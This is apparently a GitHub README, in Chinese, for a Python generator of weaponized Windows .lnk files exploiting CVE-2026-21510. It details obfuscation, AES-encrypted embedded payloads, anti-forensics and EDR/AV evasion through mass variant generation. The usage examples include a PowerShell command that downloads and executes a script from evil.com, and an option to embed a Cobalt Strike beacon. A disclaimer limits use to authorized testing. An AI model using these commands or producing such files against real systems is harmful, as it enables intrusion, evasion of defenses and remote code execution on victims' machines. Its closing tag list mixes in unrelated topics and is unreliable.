EpSiLoNPoInTOrI/EpSiLoNPoInTlnk
GitHub: EpSiLoNPoInTOrI/EpSiLoNPoInTlnk
针对 CVE-2026-21510 Windows ShellLink 远程代码执行漏洞的 .lnk 文件生成器,集成多种混淆、加密和反取证技术以绕过终端检测。
Stars: 0 | Forks: 0
README EpSiLoNPoInTlnk
CVE-2026-21510 - .LNK 生成器
利用 CVE-2026-21510 漏洞(Windows ShellLink 远程代码执行)生成 .lnk 文件的工具。
专为进攻性安全研究、授权的渗透测试以及漏洞分析而设计。
法律警告
⚠️ 本工具仅供合法及授权用途。
未经授权针对系统或网络使用的任何行为将违反当地及国际法律(例如:《计算机欺诈和滥用法》(CFAA)、GDPR、法国的 Godfrain 法)。
作者对因滥用造成的任何损害概不负责。(请参阅下方的免责声明。)
描述
该生成器会创建经过混淆的 .lnk 文件,以利用 CVE-2026-21510,这是一个存在于 Windows 快捷方式处理过程中的漏洞。
它集成了:
LNK Stomping(5 种变体:dot, path_segment, relative, double_extension, unicode)
带有随机 CLSID 和 PKEY 的 PropertyStore
KnownFolderDataBlock(随机或指定的 KnownFolderID)
EnvironmentVariableDataBlock(Unicode 混淆,动态变量)
混淆(级别 1-5:TrackerDataBlock, ConsoleDataBlock, 随机块)
内嵌并加密的 Payload(AES-256-CBC + XOR)
反取证(时间戳设为 0,文件大小设为 0,最小化元数据)
绕过 EDR/AV(利用合法进程,PowerShell 混淆参数)
随机变体生成(10 种以上的唯一变体以规避特征检测)
前置条件
系统
操作系统:Windows(用于测试生成的 .lnk)或 Linux/macOS(用于生成)。
Python:≥ 3.10。
依赖项:
pip install pycryptodome
推荐工具
分析:PEStudio, Detect It Easy (DIE)
调试:x64dbg, WinDbg
测试:隔离的 Windows 虚拟机(例如:VirtualBox 上的 Windows 10/11)。
安装
克隆代码库:
git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git
cd EpSiLoNPoInTlnk
安装依赖项:
pip install -r requirements.txt
(可选)创建虚拟环境:
python -m venv venv
source venv/bin/activate # Linux/macOS
venv\Scripts\activate # Windows
用法
1. 基础生成
python lnkstomperpoint.py --target "C:\\Windows\\System32\\cmd.exe" --args "/c calc.exe" --output exploit.lnk
生成一个利用 CVE-2026-21510 启动 calc.exe 的 .lnk 文件。
2. 高级选项
选项 说明 默认值
--target 目标路径 (例如: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe
--args 目标的参数 (例如: /c whoami) /c calc.exe
--output .lnk 的输出路径 ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk
--working-dir 工作目录 C:\Windows\System32
--description 快捷方式描述 随机字符串
--unc 使用 UNC 路径 (\?\C:\...) False
--lnk-stomping 启用 LNK Stomping True
--stomping-variant LNK Stomping 变体 (dot, path_segment, relative, double_extension, unicode, random) random
--obfuscation 添加无用的 ExtraData 块 True
--obfuscation-level 混淆级别 (1-5) 5
--embed-payload 要内嵌的文件路径 (例如: payload.bin) None
--encrypt-payload 加密 payload (AES-256-CBC + XOR) True
--anti-forensics 应用反取证技术 True
--randomize-clsid 随机化 PropertyStore 中的 CLSID True
--randomize-known-folder 随机化 KnownFolderID True
--obfuscate-arguments 混淆参数 (PowerShell) True
--generate-variants 生成 N 个随机变体 0
--debug 高级调试模式(详细日志) False
3. 示例
示例 1:带有内嵌 Payload 的 Exploit
python lnkstomperpoint.py \
--target "C:\\Windows\\System32\\cmd.exe" \
--args "/c payload.exe" \
--embed-payload ./malware.bin \
--output exploit_with_payload.lnk \
--obfuscation-level 5 \
--anti-forensics
生成一个包含经过加密 (AES-256 + XOR) 及混淆处理的 payload 的 .lnk 文件。
示例 2:生成 10 个随机变体
python lnkstomperpoint.py \
--target "C:\\Windows\\System32\\powershell.exe" \
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')" \
--generate-variants 10 \
--output-dir ./variants
创建 10 个唯一变体以规避 EDR/AV 特征检测。
示例 3:极简模式(用于测试)
python lnkstomperpoint.py \
--target "C:\\Windows\\System32\\notepad.exe" \
--obfuscation False \
--anti-forensics False \
--output minimal_exploit.lnk
生成一个未混淆的 .lnk 文件(用于分析或调试)。
技术原理
1. .LNK 结构
生成的 .lnk 文件遵循 MS-SHLLINK 规范并带有以下扩展:
ShellLink 头部(固定的 0x4C 字节 + 偏移量):
LinkCLSID:00021401-0000-0000-C000-000000000046(必需)。
LinkFlags:配置为启用 HasRelativePath, HasWorkingDir, IsUnicode 等。
StringData:
RelativePath:目标路径(如果启用,会带有 LNK Stomping)。
WorkingDir:工作目录(例如:C:\Windows\System32)。
Arguments:经过混淆的参数(PowerShell, cmd 等)。
ExtraData 块(关键顺序):
PropertyStoreDataBlock:包含 PKEY_AppUserModel_ID(随机 CLSID)。
KnownFolderDataBlock:指向系统文件夹(例如:%SystemRoot%)。
EnvironmentVariableDataBlock:强制在 Mark-of-the-Web (MotW) 之前展开变量。
混淆块(取决于 obfuscation_level):
TrackerDataBlock(级别 1)
ConsoleDataBlock(级别 2)
DarwinDataBlock, ShimDataBlock 等(级别 3-5)
内嵌 Payload(如果启用 --embed-payload):使用 AES-256-CBC + XOR 加密。
2. 绕过技术
技术 说明 影响
LNK Stomping 向目标路径添加不可见字符 (., \, \u202e)。 绕过基于路径特征的检测。
PropertyStore 使用带有随机 CLSID 的 PKEY 以规避特征。 避免触发针对已知 CLSID 的 YARA/EDR 规则。
KnownFolder 指向系统文件夹 (%SystemRoot%, %Temp%)。 绕过绝对路径限制。
EnvironmentVariable 使用变量 (%TEMP%, %APPDATA%) 混淆路径。 规避静态检测。
混淆级别 5 添加随机 ExtraData 块和填充数据。 使静态分析变得困难。
Anti-Forensics 将时间戳、文件大小等设置为 0。 增加取证分析的难度。
混淆参数 使用 PowerShell 技术 (Base64, XOR, Reverse)。 绕过恶意命令检测。
3. Payload 加密
如果启用了 --embed-payload:
Payload 使用 AES-256-CBC 加密(32 字节随机密钥,16 字节 IV)。
使用 AES 密钥的前 16 个字节应用一层 XOR 加密。
密钥和 IV 存储在 ShimDataBlock 中,以便后续解密。
测试与验证
1. 自动验证
生成器包含一个 _validate() 函数,用于检查:
文件的最小尺寸。
HeaderSize 和 CLSID 的有效性。
所需 LinkFlags 的存在情况。
ExtraData 块的结构(PropertyStore, KnownFolder 等)。
2. 手动测试
静态分析:使用 PEStudio 检查 .lnk 的结构。验证 ExtraData 块是否确实存在。
执行(在隔离环境中):双击 .lnk 并观察行为。使用 Process Monitor (ProcMon) 分析系统调用。
EDR/AV 检测:使用 Windows Defender 或 CrowdStrike 等工具进行测试。如果 .lnk 被检测到,请提高 obfuscation_level 或禁用某些选项。
使用案例
场景 命令 说明
渗透测试 --target "C:\Windows\System32\cmd.exe" --args "/c whoami" 验证 exploit 是否在目标机器上有效。
红队演练 --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 生成一个带有经过混淆的 Cobalt Strike payload 的 .lnk 文件。
安全研究 --generate-variants 50 --output-dir ./samples 创建 50 个变体以测试 EDR 的检测能力。
调试 --debug --obfuscation False 显示详细的日志以分析 .lnk 的结构。
贡献
欢迎各种贡献!以下是贡献方式:
Fork 本项目。
创建一个分支。
提交您的更改。
推送到分支。
打开一个 Pull Request。
贡献建议:
添加新的 LNK Stomping 变体。
实现其他加密算法(例如:ChaCha20)。
改进参数混淆(例如:使用 JScript)。
添加单元测试以验证 .lnk 结构。
许可证
本项目采用 MIT 许可证。
有关详细信息,请参阅 LICENSE 文件。
免责声明
🚨 免责声明
📜 免责声明 (DISCLAIMER)
在使用本工具之前,请仔细阅读。
⚠️ 明确的法律警告
本工具的用户(以下简称“用户”)明确承认并接受以下条款:
仅供合法使用
本工具仅限于合法及授权用途,例如:
学术或专业框架内的计算机安全研究。
在用户获得所有者书面授权的系统上进行渗透测试。
在受控环境(例如:安全实验室,CTF,授权的漏洞奖励计划)中的漏洞分析。
严禁用于任何其他用途,这可能在许多司法管辖区构成刑事犯罪,包括但不限于:
法国:1988年1月5日第88-19号法律(Godfrain 法),《刑法典》第323-1至323-7条(欺诈访问,篡改数据等)。
欧盟:关于打击信息系统攻击的第2013/40/EU号指令。
美国:《计算机欺诈和滥用法》(CFAA),18 U.S. Code § 1030。
其他国家:等效的当地法律(例如:英国的《计算机滥用法》)。
无担保
作者不对以下事项提供任何明示或暗示的担保:
本工具的可靠性,准确性或实用性。
代码中没有错误或漏洞。
与所有系统或环境的兼容性。
使用该工具所获得的结果。
用户承担使用本工具的所有风险,包括但不限于:
对其自有系统或第三方系统造成的软硬件损害。
违反适用法律所产生的法律后果。
数据丢失或服务中断。
责任限制
在任何情况下,作者、贡献者或参与本工具创建、制作或分发的任何其他方均不对以下情况承担责任:
任何损害(直接,间接,附带,特殊,惩罚性或后果性损害),包括但不限于:
利润损失。
数据丢失或文件损坏。
声誉损害。
用户面临的法律诉讼或罚款。
即使作者已被告知可能发生此类损害。
遵守法律法规
用户承诺遵守其司法管辖区内的所有适用法律,法规和标准,包括但不限于:
数据保护法(例如:欧盟的 GDPR)。
网络安全和计算机欺诈法。
其雇主或组织的安全政策。
用户将赔偿并使作者免受因违反这些法律或承诺而引起的任何索赔,损害或费用(包括律师费)引起的损害。
禁止恶意分发
用户明确严禁:
出于恶意目的出售,出租或重新分发本工具。
修改代码以使其成为网络犯罪武器(例如:勒索软件,间谍软件)。
未经明确授权,使用本工具针对关键基础设施(例如:医院,政府,银行)。
在未向他们传达此免责声明的情况下与第三方共享本工具。
对第三方免责
本工具可能会与第三方库(例如:pycryptodome)进行交互。
作者不控制也不对这些库的操作或漏洞负责。
用户必须验证所使用的任何依赖项的许可证和安全性。
使用风险自担
使用本工具,即表示您完全无条件地接受本条款的条款。
如果您不同意这些条款,请不要使用本工具并立即删除您拥有的所有副本。
管辖权与适用法律
本条款受法兰西共和国法律管辖并据其解释。
因本条款或使用本工具引起的或与之相关的任何争议,将提交给巴黎(法国)法院的专属管辖权。
🔐 安全建议
为了安全合法地使用本工具:
✅ 始终将测试隔离在虚拟环境(例如:VirtualBox, VMware)中。
✅ 在不属于您的系统上进行测试之前,请务必获得书面授权。
✅ 禁用测试机器的网络连接以防止意外泄露。
✅ 使用监控工具(例如:Wireshark, Process Monitor)来分析行为。
✅ 以负责任的方式报告漏洞(例如:通过漏洞奖励计划)。
❌ 切勿在未经授权的情况下在生产系统上进行测试。
❌ 请勿与未经授权的人员共享生成的。
❌ 请勿将恶意 payload 存储在可公开访问的系统上。
📞 联系方式
如有关于本工具的任何法律或技术问题:
作者:EpSiLoNPoInT
邮箱:epsilonpoint555@outlook.fr
GitHub:EpSiLoNPoInTOrI
⚠️ 注意:作者不会对本工具的非法或不道德使用提供任何支持。
📅 条款日期
最后更新:2026 年 5 月 9 日
版本:1.0
标签:AES-256-CBC, AV逃逸, CVE-2026-21510, DNS 反向解析, DNS 解析, EDR绕过, IPv6, IP 地址批量处理, LNK Stomping, LNK文件生成, OpenCanary, PoC, PowerShell, Python, RCE, Windows ShellLink, 反取证, 安全评估, 嵌入式载荷, 快捷方式混淆, 数据展示, 无后门, 暴力破解, 武器化, 红队, 编程工具, 远程代码执行, 高交互蜜罐